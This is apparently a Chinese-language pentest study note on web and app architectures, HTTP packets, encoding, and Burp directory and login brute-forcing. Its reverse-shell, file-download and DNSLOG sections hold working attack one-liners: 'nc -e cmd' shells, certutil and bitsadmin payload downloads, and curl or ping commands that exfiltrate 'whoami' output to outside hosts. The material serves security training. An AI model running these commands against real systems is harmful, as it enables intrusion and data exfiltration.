WEB服务搭建方式

常规化搭建

​ 原理:直接将源码、中间件、数据库搭建在同一个服务器

​ 影响:无,使用常规的渗透测试方法即可

站库分离

​ 原理:源码和数据库不在同一个服务器

​ 影响:数据被单独存放,能连接才可影响数据;比较安全

前后端分离

​ 原理:前端JS框架,通过API传输数据

​ 影响:

​ 前端页面大部分不存在漏洞

​ 后端管理大部分不在同域名

​ 获得权限有可能不影响后端

集成软件搭建

​ 原理:打包类的集成化环境。权限配置或受控制

​ 影响:

​ 默认情况下,使用phpstudy搭建获得的webshell的权限较大

​ 使用灯塔搭建的网站,具有一定的安全机制

使用WAF搭建

WAF:WEB应用防火墙

image-20250420102628560

影响:

​ 常规的渗透方法可能被拦截,需要使用绕过WAF手法进行绕过

使用CDN

原理:内容分发服务,用户访问Web网站提供多地域响应,提高访问速度

影响:隐藏真实源IP,导致对目标测试错误

使用OSS存储桶

原理:提供对象存储服务

使用方式:

​ 1、开通OSS

​ 2、新建Bucket

​ 3、配置Bucket属性

​ 4、配置Access访问

影响:上传的文件或解析的文件均来自于OSS资源,无法解析,单独存储
1、修复上传安全
2、文件解析不一样
3、但存在Accesskey隐患

负载均衡

负载均衡就是一种计算机网络技术,用来在多个计算机(计算机集群)、网络连接、CPU、磁碟驱动器或其他资源中分配负载,以达到最佳化资源使用、最大化吞吐率、最小化响应时间、同时避免过载的目的。

原理:分摊到多个操作单元上进行执行,共同完成工作任务

影响:有多个服务器加载服务,测试过程中存在多个目标情况

img

正反向代理

正向代理

正向代理是一种位于客户端和原始服务器之间的服务器,它接收客户端的请求并将其转发给原始服务器,然后将服务器的响应返回给客户端(不代理不可达)

image-20250420104147752

2反向代理

通过网络反向代理转发真实服务达到访问目的影响:访问目标只是一个代理,非真实应用服务器

image-20250420104426621

原理:通过网络反向代理转发真实服务达到访问目的影响:访问目标只是一个代理,非真实应用服务器

注意:正向代理和反向代理都是解决访问不可达的问题,但由于反向代理中多出一个可以重定向解析的功能操作,导致反代理出的站点指向和真实应用毫无关系!

APP应用开发架构

1、原生开发

安卓一般使用java语言开发,当然现在也有kotlin语言进行开发。如何开发就涉及到具体编程了,这里就不详说了。简单描述就是使用安卓提供的一系列控件来实现页面,复杂点的页面可以通过自定义控件来实现。

2、使用H5语言开发

使用H5开发的好处有很多,可多端复用,比如浏览器端,ios端,当然H5开发的体验是没有原生好的。结合我做过的项目来说,一般是这个页面需要分享出去的话,就用H5开发。

3、使用flutter开发

flutter是近年来谷歌推出的一款UI框架,使用dart语言进行开发,支持跨平台,weight渲染直接操作硬件层,体验可媲美原生。但是flutter技术比较新,生态还不完善,开发起来效率相对偏低。

4、常规Web开发

Web App软件开发简单地说,就是开发一个网站,然后加入app的壳。Web App一般非常小,内容都是app内的网页展示,受制于网页技术本身,可实现功能少,而且每次打开,几乎所有的内容都需要重新加载,所以反应速度慢,内容加载过多就容易卡死,用户体验差,而且app内的交互设计等非常有效。但开发周期长端,需要的技术人员少,成本低。

#APP-开发架构-原生态-IDEA

演示:remusic项目源码

安全影响:反编译&抓包&常规测试

安全影响:逆向的角度去分析逻辑设计安全

#APP-开发架构–Web封装-封装平台

演示:ShopXO源码程序+一门APP打包

安全影响:常规Web安全测试

#APP-开发架构-H5&Vue-HBuilderX

演示:HBuilderX案例

安全影响:API&JS框架安全问题&JS前端测试

#WX小程序-开发架构-Web封装-平台

演示:ShopXO源码程序+一门APP打包

安全影响:常规Web安全测试

#WX小程序-开发架构-H5&Vue-HBuilderX

演示:HBuilderX案例

安全影响:API&JS框架安全问题&JS前端测试

反弹SHELL

(攻击者视角)

正向连接:客户端进行监听本地端口,攻击者主动发送请求与客户端建立连接

反向连接:攻击者进行监听本地端口,客户端主动发送请求与攻击者建立连接

命令生成:https://forum.ywhack.com/shell.php

新版反弹:https://forum.ywhack.com/reverse-shell/

eg.Linux控制windows

①正向连接:

Linux: nc 192.168.138.130 5566

windows:nc -e cmd -lvvp 5566

image-20250420163653315

②反向连接:

Linux: nc -lvvp 5566

Windows:nc -e cmd 192.168.138.141 5566

image-20250420164123747

防火墙出入站

①当防火墙入站规则被进行过滤

阻止5566端口的入站规则

思路:攻击者监听本地端口,客户端主动连接攻击者

client:nc.exe -e cmd 192.168.138.141 5566

hacker:nc -lvvp 5566

image-20250420165620592

注意:防火墙默认对出站过滤检测并不严格,对入站规则过滤检测较为严格(默认阻止入站连接,默认允许出站连接)

②当防火墙出站规则被进行过滤

阻止5566端口的出站规则(前提条件:允许5566的入站规则)

思路:客户端监听本地端口,攻击者主动连接客户端

client:nc.exe -e cmd -lvvp 5566

hacker:nc 192.168.138.132 5566

image-20250420170553445

文件下载

文件下载命令生成:https://forum.ywhack.com/bountytips.php?download

Linux:wget curl python ruby perl java 等

Windows:PowerShell Certutil Bitsadmin msiexec mshta rundll32 等

Windows常用:

1
2
3
4
5
6
7
powershell.exe -Command "Invoke-WebRequest -Uri http://127.0.0.1:8080/test.exe -OutFile exploit.exe"

certutil.exe -urlcache -split -f http://127.0.0.1:8080/test.exe exploit.exe

bitsadmin /rawreturn /transfer down "http://127.0.0.1:8080/test.exe" c:\\exploit.exe

msiexec /q /i http://127.0.0.1:8080/test.exe

Linux常用:

1
2
3
4
wget http://127.0.0.1:8080/test.exe -O exploit.exe

curl http://127.0.0.1:8080/test.exe -o exploit.exe

数据不回显

image-20250420173346329

使用数据访问外部DNSLOG的方式外带

常用dnslog:

1
2
3
管道符:| (管道符号) ||(逻辑或) &&(逻辑与) &(后台任务符号)
Windows->| & || &&
Linux->; | || & && ``(特有``和;)

Linux常用外带方法:

1
2
3
4
5
6
7
curl http://haha.xxx.ceye.io/`whoami`

ping `whoami`.xxxx.ceye.io

ping $(whoami).dyy8n3.dnslog.cn

whois -h 192.168.233.128 -p 8888 `whoami`

Windows外带方法:

1
2
3
4
5
6
ping %USERNAME%.GoldY.eyes.sh

for /F "delims=\" %i in ('whoami') do ping %i.91pjgw.dnslog.cn

#需要vpc开启一个http服务
for /F "delims=" %i in ('whoami') do curl http://192.168.43.190:8000/%i

编码与加解密

编码

https://www.inkomet.com/detail.php?id=MQ==

进行测试的的语句:

https://www.inkomet.com/detail.php?id=2 ——–> 没有正确的回显

https://www.inkomet.com/detail.php?id=Mg== ———> 正确回显

数据在传输的时候进行编码 为什么要了解?

服务器在接受参数的可能会进行解码再带入,如果payload没有进行同样的编码,出入后端的数据就无法进行有效的测试

正确:测试的话也要进行pay1oad同样的加密或编码进行提交

安全测试漏洞时候 通常都会进行数据的修改增加提交测试

场景:登录的数据包

admin 123456

username=admin&password=e10adc3949ba59abbe56e057f20f883e
如果现在我要进行密码的破解爆破

字典文件:
帐号什么都不用更改 去替换username=值即可

​ 密码需要进行密码算法 保证和password=值同等加密才行

加解密

针对对象

WEB

传输数据:

​ 加密:md5

​ 编码:base64

通常根据数据加密或编码的数据,进行相应payload加密或编码后,进行漏洞探测发现(漏洞探针)

数据格式:

  • 常规方式
  • JSON
  • XML

在数据包使用不同数据格式时候,需要对payload进行相应的数据格式转换(发送漏洞探针,回显数据分析)

产品

不同的web网站可能采用的数据方式并不一致:如CMS Discuz不同版本采用不同的加密方式(MD5+salt、使用password_hash()函数进行加密)

密文存储加密方式:

  • MD5
  • MD5+SALT
  • AES
  • DES

系统

只要针对后测试

1、Windows

在Win10之前(包括win10)使用的用户密码加密方式为NTML

2、Linux

使用的是md5+salt方式进行存储用户密码

一般情况难以进行破解

代码

  • java
  • .net
  • 安卓
  • ios

有时为了保护源代码可能会对代码进行二次加密

千古互动 免费PHP加密 - SG11,SG13,SG14,SG15,Phpencode.cn,SG11加密平台,PHP加密平台,免费PHP加密,PHP在线加密

php在线混淆加密,支持php5和php7代码在线加密混淆-在线工具网

1745501662219

逆向思路

1、看密文的特征分析算法

2、获取源码分析算法(后端加密)

3、JS前端进行加密(前端加密)

识别并解密

  1. 单向散列加密 -MD5
    单向散列加密算法的优点有(以MD5为例):
    方便存储,损耗低:加密/加密对于性能的损耗微乎其微。
    单向散列加密的缺点就是存在暴力破解的可能性,最好通过加盐值的方式提高安全性,此外可能存在散列冲突。我们都知道MD5加密也是可以破解的。
    常见的单向散列加密算法有:
    MD5 SHA MAC CRC

  2. 对称加密 -AES
    对称加密优点是算法公开、计算量小、加密速度快、加密效率高。
    缺点是发送方和接收方必须商定好密钥,然后使双方都能保存好密钥,密钥管理成为双方的负担。
    常见的对称加密算法有:
    DES AES RC4

  3. 非对称加密 -RSA
    非对称加密的优点是与对称加密相比,安全性更好,加解密需要不同的密钥,公钥和私钥都可进行相互的加解密。
    缺点是加密和解密花费时间长、速度慢,只适合对少量数据进行加密。
    常见的非对称加密算法:
    RSA RSA2 PKCS

MD5密文特点:
1、由数字“0-9”和字母“a-f”所组成的字符串
2、固定的位数 16 和 32位
解密需求:密文即可,但复杂明文可能解不出

BASE64编码特点:
0、大小写区分,通过数字和字母的组合
1、一般情况下密文尾部都会有两个等号,明文很少的时候则没有
2、明文越长密文越长,一般不会出现”/“”+”在密文中

AES、DES密文特点:
同BASE64基本类似,但一般会出现”/“和”+”在密文中
解密需求:密文,模式,加密Key,偏移量,条件满足才可解出

RSA密文特点:
特征同AES,DES相似,但是长度较长
解密需求:密文,公钥或私钥即可解出

数据传输格式

在进行安全测试时,通过使用抓包工具进行抓包,必须按照目标系统的数据格式发送数据,否则会导致测试无效。

常规格式

1
username=admin&password=e10adc3949ba59abbe56e057f20f883e

最常使用的数据包传输格式,使用&符号进行连接不同的参数值

JSON

1
2
3
4
5
6
7
8
{
"id": "10",
"name": "课程",
"items": [
{"itemId": "20", "itemName": "数学"},
{"itemId": "21", "itemName": "化学"}
]
}

JSON是一种轻量级的数据交换格式,易于阅读和编写,广泛应用于Web应用程序中。它的优点包括易于解析和生成,支持多种编程语言,数据结构简单且可嵌套。然而,JSON的数据体积相对较大。

XML

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<students>
<student id="001">
<name>微信1</name>
<学号>20140101</学号>
<地址>广州</地址>
<座右铭>要么强大,要么听话</座右铭>
</student>
<student id="002">
<name>微博1</name>
<学号>20140102</学号>
<地址>广州</地址>
<座右铭>在哭泣中学会坚强</座右铭>
</student>
</students>

XML是一种可扩展的标记语言,用于描述和传输结构化数据,常用于Web服务和配置文件中。它具有自我描述性和可扩展性,适用于复杂数据结构和文档的交换。然而,XML标签冗余,数据体积较大,解析和生成相对复杂。

HTTP数据包

HTTP请求方法

利用HTTP访问网站都有哪些请求方法,请求方法对应特点?
GET: 直接获取网站资源
POST: 客户端有信息要提交到服务端时(登录 搜索)
HEAD: 类似GET方法,不会返回响应主体信息
PUT: 用来将本地资源上传到服务端
OPTIONS: 用来检测服务端可以接收哪些访问请求(安全)
TRACE: 可以在响应报文中,看到请求报文的内容

HTTP请求报文信息

image-20250506205343605

第一部分:请求行信息
1)请求方法信息:GET POST PUT HEAD …
2)请求资源信息:
host(访问网站域名/地址/端口)+请求资源
host: 确认访问站点目录
请求资源:三种情况
1 正常请求资源- oldboy.jpg
2 默认请求-/ /admin/ 请求首页文件-index.html index.php index.jsp
3 访问代码资源需要传入参数

协议(HTTP/HTTPS/FTP)+host(访问网站域名/地址/端口)+请求资源 – 请求信息 == URL

URL(Uniform Resource Locator,统一资源定位符),是标识Web资源的唯一标识符.通过它即可获取其标识的资源。

3)请求HTTP版本信息(1.1 2.0)
1.0 属于TCP短连接访问 一次连接对应一次请求
1.1 属于TCP长连接访问 一次连接对应多次请求
2.0 可以实现并发请求处理 适合电商网站

第二部分:请求头信息
请求过程各种字段信息:
Accept: 确认客户端请求资源类型信息
Referer: 消息头用于表示发出请求的原始URL;告知服务端是从哪访问过来的 (*****)
有referer:可以获得跳转源url地址信息(记录推广次数)
无referer:代表直接访问网站资源

        视频网站:视频无法下载 会员登录 http://www.aiqiyi.com/vip/xxx  -- vip电影 
                                         http://www.aiqiyi.com/            vip电影6分钟
                                         
        修改请求信息:添加referer:http://www.aiqiyi.com/vip/xxx  

Accept-Language:请求返回语言字符信息
User-Agent:消息头提供与浏览器或其他生成请求的客户端软件有关的信息;获取客户端指纹信息/客户端访问浏览器信息(
Accept-Encoding:浏览器支持的压缩编码是 gzip 和 deflate
Cookie:消息头用于提交服务器向客户端发布的其他参数 (

HTTP属于无状态访问方式,不会记录访问者的身份信息,都需要输入用户名和密码
利用cooke记住用户访问情况:避免反复登录网站

    cookie类型:
    会话cookie:临时产生或短期应用
    长期cookie:一般互联网网站
    
    cookie属性:
    secure:	如果设置这个属性.则仅在HTTPS请求中提交cookie.  (*****)
    Httponly:	如果设置这个属性,将无法通过客户端JavaScript直接访问cookie.
                
                服务 识别用户访问行为  
                抖音网站 -- cookie 123
                cookie 123 视频--美女   记录123 美女 
                cookie 123 视频--美女   记录123 美女
                cookie 123 视频--美女   记录123 美女  
                推广 美女居多  体育  jd 苹果电脑 -- 苹果

Connection: 表示持久的客户端与服务连接;定义客户端与服务建立TCP连接方式(短连接/长连接)
X_FORWARDED_FOR:可以获取真实客户端IP地址信息;可以伪装自己客户端地址;
请求头里面添加X_FORWARDED_FOR
是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段

空行
第三个部分:请求主体信息
一般是利用post方法进行请求时,会含有请求主体信息(默认HTTP访问会已明文信息显示)

HTTP响应报文信息

第一个部分:响应行(起始行)信息
1)HTTP/1.1 响应的HTTP协议版本信息
2)200 状态码:返回请求结果
常用状态码分类:
1xx:提供信息(需要客户端提供信息)
2xx:请求被成功提交,并能够正确处理请求
3xx:客户端被重定向到其他资源 (重要部分)
4xx:请求包含某种错误 (客户端请求异常) – 显示错误页面
5xx:服务器执行请求时遇到错误 (服务端响应异常) – 检查服务端配置

常用状态有什么:面试问到
100 Continue: 表示服务端收到了客户端的请求信息(POST),但是没有收到请求主体信息
200 OK: 本状态码表示已成功提交请求,且响应主体中包含请求结果。
201 Created: 客户端进行PUT请求时,有数据文件上传到服务端成功后,会响应201状态码信息
301 Moved Permanently: 本状态码将浏览器永久重定向到另外一个在Location消息头中指定的URL。以后客户端应使用新URL替换原始URL。
302 Found 本状态码将浏览器暂时重定向到另外一个在Location消息头中指定的URL.客户端应在随后的请求中恢复使用原始URL.
PS:网站页面跳转,可以对协议 对域名 对资源信息做跳转处理,以便用户在访问旧的资源信息时,可以获取到新的资源信息
304 Not Modified。 本状态码指示浏览器使用缓存中保存的所请求资源的副本。服务器使用If-Modified-Since与工If-None-Match消息头确定客户端是否拥有最新版本的资源。

401 Unauthorized. 服务器在许可请求前要求HTTP进行身份验证。WWW-Authenticate消息头详细说明所支持的身份验证类型。
参考链接:https://blog.csdn.net/chj_1224365967/article/details/113946038
第一步:编写配置文件
第二步:创建用户密码文件
第三步:重启nginx
 403 Forbidden 本状态码指出,不管是否通过身份验证,禁止任何人访问被请求的资源。
参考链接:https://blog.csdn.net/yxhxj2006/article/details/121623574
访问首页文件不存在,也会出现此状态码
 404 Not Found。 本状态码表示所请求的资源并不存在。
 405 Method Not Allowed 本状态码表示指定的URL不支持请求中使用的方法。例如,如果试图在不支持PUT方法的地方使用该方法,就会收到本状态码。
服务端做了请求方法限制

500 Internal Server Error 本状态码表示服务器在执行请求时遇到错误。当提交无法预料的输人、在应用程序处理过程中造成无法处理的错误时,通常会收到本状态码。
应该仔细检查服务器响应的所有内容,了解与错误性质有关的详情。
PS:检查访问网站代码逻辑(代码审计)
 503 Service Unavailable。 通常,本状态码表示尽管Web服务器运转正常.并且能够响应请求,但服务器访问的应用程序还是无法作出响应。应该进行核实,是否因为执行了某种行为而造成这个结果。
502 PS:需要访问后端数据库服务,但是后端数据库服务没有响应

第二个部分:响应头信息
image-20250506205521065

第三个部分:响应主体信息
响应HTML代码信息,浏览器识别HTML代码加载页面

跨平台测试注意事项

在不同终端测试时,必须保证数据包结构与目标平台完全一致

eg.不同的设备访问同一web界面返回不一致

  • 移动设备和PC访问同一接口可能返回不同数据

  • 识别依据:User-Agent字段是主要设备标识

  • 解决方法修改请求头模拟移动设备访问

    • 需要完整复制移动端的请求头参数
    • 特别是Android版本和设备型号信息
    • 缺少移动端特有参数会导致403错误

根据状态码判断是否存在该文件或路径

  • 文件存在判断:返回200表示文件存在且可访问;返回404表示文件不存在。
  • 文件夹存在判断:返回403表示文件夹存在但无索引文件;若文件夹下有默认索引文件(如index.php),则返回200。
  • 重定向判断:30X状态码可能表示文件存在触发跳转,也可能是不存在时的容错跳转,需结合具体情况分析。

burp进行目录爆破方法

  • 操作流程

    • 抓取目标网站请求包
    • 在路径末尾添加变量标记(如§)
    • 载入路径字典文件(包含_system、user等常见路径)
    • 设置5个并发线程进行扫描
  • 结果分析:通过对比状态码(200/403/404)识别有效路径,如index.php返回200表示存在

登录爆破技术

  • 双重验证机制:发现系统同时验证明文密码和MD5加密密码,两者需同时正确才能登录

  • 爆破技巧

    • 使用Burp的Payload Processing功能自动生成MD5值
    • 通过状态码差异判断(302跳转为成功,500为失败)
    • 实际测试发现只需加密密码正确即可绕过验证
  • 实战验证:通过修改数据包中的password_md5字段为已知MD5值成功登录